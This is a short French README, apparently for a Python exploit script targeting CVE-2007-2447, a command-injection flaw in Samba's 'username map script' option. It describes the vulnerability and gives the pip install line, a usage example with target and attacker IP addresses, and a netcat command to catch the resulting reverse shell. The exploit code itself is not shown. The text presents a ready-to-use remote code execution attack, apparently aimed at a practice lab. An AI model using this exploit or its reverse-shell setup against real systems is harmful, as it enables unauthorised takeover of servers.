
Exploit Python pour CVE-2007-2447 ciblant la vulnérabilité du script de mappage de noms d'utilisateur de Samba, permettant l'exécution de commandes à distance via des métacaractères shell avec livraison de payload de reverse shell.
La fonctionnalité MS-RPC dans smbd de Samba 3.0.0 à 3.0.25rc3 permet à des attaquants distants d'exécuter des commandes arbitraires via des métacaractères de shell impliquant la fonction (1) SamrChangePassword, lorsque l'option « username map script » de smb.conf est activée, et permet aux utilisateurs authentifiés distants d'exécuter des commandes via des métacaractères de shell impliquant d'autres fonctions MS-RPC dans la (2) gestion d'imprimante distante et (3) gestion de partage de fichiers.
[*] Cet exploit nécessite Python 3.7 ou supérieur
python3 -m pip install pysmb
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
--rhost -- Hôte distant--lhost -- Hôte local--lport -- Port local--rport -- Port distant *[ ] Optionnel. défaut=445N'oubliez pas de démarrer votre écouteur :
nc -lvnp 4444
